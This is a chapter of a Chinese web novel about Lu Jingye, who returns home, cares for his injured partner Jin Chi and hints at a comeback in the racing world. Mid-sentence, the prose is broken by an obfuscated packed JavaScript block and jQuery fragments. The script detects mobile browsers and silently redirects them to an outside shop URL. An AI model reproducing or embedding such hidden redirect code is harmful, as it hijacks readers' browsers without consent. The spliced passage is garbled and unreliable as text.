沈澜继续问他：“北海市那边算是彻底放下？”


    “算吧。”


    “后面什么打算？”沈澜问得很严肃。


    陆竞野半低着头没有第一时间回答，应该也是在认真思考这个问题。


    “你能回来，我跟陶哥都很高兴，真的，毕竟这里才是你的根，你的一切本来就跟这里息息相关。”沈澜说道。


    陆竞野没否认也没附和。


    沈澜应该是坐了起来，带着点试探：“继续做修车行？”


    “没想好。”陆竞野实话实说，深吸口气抬起头，隔着窗户看向还很冷清的街道。“很大可能不做这个老本行了。”


    沈澜像是嗅到点什么却不敢直接问。


    一个是怕触及陆竞野底线。


    一个也是怕白高兴一场。


    “那你…”


    “还有几天年就过完了，过完之后我会认真计划，到时候喊上陶哥咱们见一面吧？”陆竞野说完又补问一句，“年后你大概什么时候有空？”


    “随时都有空。”沈澜说得很急切。


    陆竞野：“好，回头联系。”


    挂掉电话，陆竞野没有直接回卧室，站在阳台点支烟，慢慢抽。


    他跟靳迟在一起后就把烟戒了，靳迟出事后开始复抽。


    烟瘾不大，只有心里压得慌才会抽上一支。


    卧室里，开着一盏昏黄的小夜灯，躺在床上的靳迟并没有睡。


    他捕捉到一声细微的嘎达声。


    他不抽烟，知道这是打火机的声音。


    靳迟抓住自己身上被子往下扯了扯，把头转向内侧，埋在枕头上闭了眼睛。


    能感觉到，呼吸变重许多。


    陆竞野悄悄推开门进来，再悄悄关上。


    摸索到床边，动作放得特别轻，生怕打扰到已经睡着的靳迟，掀开被子慢慢钻进去。


    刚躺下，身边人问他：“去哪了？”


    陆竞野笑着说：“去上个厕所。”翻身搂住靳迟，“吵到你了？”


    “屋里有卫生间还去外面？”靳迟眼睛都没睁，声音也伪装得很含糊，拽着被子扯了几下，把陆竞野包裹严实，“都不怕冷吗？身上冰凉。”


    “不冷。”陆竞野顺势缩到靳迟怀里，“我就是怕声音太大吵到你才出去的，还是把你吵醒了。”


    “跟你没关系，是我睡眠浅。”靳迟说。


    陆竞野：“快点睡吧。”


    两个人谁都没有再说话，没一会儿工夫，陆竞野呼吸均匀起来。


    靳迟慢慢睁开眼睛，看着蜷缩在自己怀里已经睡着的陆竞野。


    就算睡着，也能看出来他的疲惫，心里肯定装着什么事儿，眉头都是拧着的。


    靳迟心疼又难过，手指放在他拧起来的眉毛上轻轻摩挲几下：“阿野，是我拖累你了。”


    第二天一大早，陆竞野跟靳迟还没起来，外面已经有了动静。


    叶然跟侯松比他们早。


    侯松在打扫卫生，叶然在厨房准备早饭。


    侯松把茶几上垃圾弄到垃圾桶里：“要不要喊他们起来？”


    “别了吧。”叶然在厨房里面说，“这段时间野哥睡眠一直都不太好，他难得到这个点还在睡，就让他继续睡，睡到自然醒。”


    “也是。”侯松把垃圾扎起来，“你煮的什么？”


    “小米粥，放了点红枣。”叶然手里勺子在砂锅里搅动，吹吹蒸汽，“马上就能好。”


    叶然跟侯松尽量放轻动作。


    半个小时后，陆竞野醒过来，从床上快速翻坐起来抓抓凌乱的头发，看眼旁边躺着的靳迟。


    靳迟也看着他，目光很清明，应该起来很久。


    陆竞野咧嘴一笑：“早呀。”伸个懒腰下床，“我去，好久没睡到这个时间了。”


    “你太累了。”


    陆竞野活动下身子：“我也没觉得累，但这一觉确实睡得又长又踏实，好舒服。”


    三两下换好衣服去洗漱，等他收拾好，过来伺候靳迟。


    给靳迟收拾得干干净净抱出卧室。


    叶然已经把轮椅在餐桌旁放好，跟侯松坐在沙发上看电视。


    见他们俩出来，关掉电视起身，叶然径直往厨房走：“我去端早饭。”


    侯松跟陆竞野两个人打声招呼去帮忙。


    陆竞野把靳迟放在餐桌边，很快早饭上桌。


    叶然吃了几口忍不住问：“野哥，咱们回来马上有一个月，年都过完了，你是怎么打算的呀。”


    另外两个人吃饭动作慢下来，也都看着陆竞野。


    其实刚回来的时候都想问，但发现陆竞野一直没要说这方面的意思就忍住了，想着先过完年。


    四个人都待在家里，年现在也过完了。


    除去靳迟，剩下的三个人不能一直待在家里吧？


    靳迟半低着头：“我很早就想问，你是打算继续开修车行吗？”手里的碗放在腿上。


    “前些年你在安亚市开的修车行似乎很不错，要不是临时跑去北海市，现在应该规模比北海大很多吧？”


    陆竞野往嘴里塞个包子，只笑不说话。


    靳迟看向他，脸上都是疑惑。


    叶然跟侯松也吃不下饭了，纷纷看着他。


    也就陆竞野该吃吃该喝喝，不管这三个人什么表情有多着急，就像是跟他没关系一样。


    靳迟追问：“你有没有打算？”没得到回应只能自顾继续。


    “如果是资金方面跟不上，你不用担心，我名下还有三辆赛车跟一套公寓，公寓这几年升值挺多，至少能卖五百万。”


    陆竞野只是摇摇头。


    靳迟再次拧眉，不太理解陆竞野到底什么意思。


    陆竞野把碗放下，擦了一把嘴：“别胡思乱想，北海市的生意没能做下去，但那一年里还是积攒不少，店盘出去也收回来一大半，钱不是问题。”


    “那你…”叶然轻咳声，“我们也是有点担心，咱们到这也挺长时间，严格上来说算重新开始，就算有点家底儿，可四个人天天这么守在家里，迟早…”


    “想什么呢？”陆竞野往后一靠笑着打断他。“我还能让你们一直守在家里，坐吃等死吗？”


    叶然瞪圆眼睛，茫然无辜地看着他。


    筷子咬在嘴里，完全一副：难道不是吗？


    陆竞野瞪他一眼没再说。


    拿过靳迟手里的碗，抬起来给他喂：“先吃饭行不行？粥都凉了。”


    靳迟歪头躲开，伸手要拿回来。


    陆竞野笑着也躲开，抬抬下巴：“我给你喂。”


    “不用。”


    陆竞野就是不还给他：“我就要给你喂，快点的，听话，张嘴。”


    靳迟一脸无奈。


    陆竞野嬉皮笑脸：“啊—”


    靳迟失笑，懒得跟他浪费时间，顺从地张


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16879929|191218||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    开嘴。


    陆竞野这才说：“对我有点信心行吗？”歪过身子抽了张纸巾回来，给靳迟擦擦嘴角。


    “我不是要自暴自弃，也不是要待在家里坐吃等死，往后日子还长呢，我一个人怎么都行，带着你们三个能这样吗？”


    叶然跟侯松都严肃看着陆竞野。


    那表情完全就是在说：就算你自暴自弃，以后要当条咸鱼，我们俩也能把这个家扛起来。


    陆竞野还在继续给靳迟喂饭，在安静好长时间后陆竞野说：“我下周会约沈澜跟陶哥见一面。”


    “要做什么？”靳迟沉声问道。


    他其实在陆竞野抛下北海市一切回到安亚市的时候就猜到，因为他太懂陆竞野。


    陆竞野不提不说，他也只能把所有想法压在心底深处。


    如果是以前，他会大力支持陆竞野走回头路，甚至不惜一切代价，帮他铺路为他护航，可现在…


    靳迟一把抓住陆竞野手腕：“你到底在计划什么？要做什么？能不能不要瞒着我？”


    “没有想要瞒着你。”陆竞野说得很平和，“阿迟，我们俩现在可是已经捆得死死的，需要互相依赖，要走完后半辈子，任何事我都不会瞒着你。”


    陆竞野这些话让靳迟暗地松口气，只是脸色并没有缓和，依旧抓着陆竞野手腕。


    陆竞野笑笑：“我还没有做好安排，现在不管说什么都是空谈对不对？你既然心里清楚我要做什么，我希望不要拦着我，而是支持我。”


    “我…”


    靳迟不管是支持还是拒绝，都说不出口。


    “野哥，你到底要去做什么？”侯松忍不住问道。


    陆竞野把靳迟的手拿开，看了侯松一眼说：“很快你们就都会知道，不要急，最近这些日子就在家好好待着。”


    继续往靳迟嘴里喂饭，靳迟有点烦躁，躲开他的手。


    陆竞野笑着哄他：“要多吃点，只有吃得多，吃得好，身体各项机能才跟得上，也要把之前掉的那些肉养回来。”


    “吃不下。”靳迟声音干涩。


    陆竞野：“再吃点。”


    靳迟皱眉看着陆竞野，有太多话想说，到嗓子处又犹豫，滚动两遍再咽回去。


    乖乖张嘴，吃掉陆竞野喂的饭。


    陆竞野交代侯松跟叶然：“你们俩也不是完全没事儿做，这两天多看看微博，掌握一下目前赛车界都是什么动向。”


    叶然跟侯松俩人眼睛都是一瞪，像是抓到点什么又没抓得住。


    陆竞野挑下嘴角又说道：“先熟悉环境就行，不要轻举妄动，等我吩咐。”抬起眼皮看过来，“能听懂我说的吗？”


    侯松先反应过来：“我懂，野哥放心，我知道怎么做。”


    心跳加速，开始躁动。


    侯松好像知道陆竞野要做什么了。


    叶然相对来说没那么聪明，看看这个看看那个。


    哎呀不管，反正怎么交代他怎么做就行。


    陆竞野跟沈澜还有陶华辉约在家附近，是一家比较有名的茶楼。


    他带靳迟先去康复治疗中心。


    今天的靳迟表现又有了明显进步，各方面都比他们预期中好很多。


    而且在这么短的时间里，有这样的成绩，绝对是令人高兴的。


    陆竞野内心的希望变得更加浓烈，他觉得再过不久，靳迟恐怕能依靠辅助工具自己站起来，甚至行走。